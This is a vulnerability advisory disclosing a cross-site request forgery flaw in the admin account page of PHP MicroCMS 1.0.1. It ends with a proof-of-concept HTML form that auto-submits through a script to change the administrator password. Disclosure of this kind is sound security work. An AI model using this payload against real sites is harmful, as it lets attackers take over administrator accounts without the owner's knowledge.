Vulnerability ID: HTB22765 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_php_microcms.html Product: PHP MicroCMS Vendor: ApPHP ( http://www.apphp.com/ ) Vulnerable Version: 1.0.1 and probably prior versions Vendor Notification: 21 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "index.php?admin=my_account" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability and change administrator password. The following PoC is available: <form action="http://host/index.php?admin=my_account" method="post"> <input type="hidden" name="password_one" value="newpass"> <input type="hidden" name="password_two" value="newpass"> <input type="submit" id="btn" name="submit" value="Change Password"> </form> <script> document.getElementById('btn').click(); </script>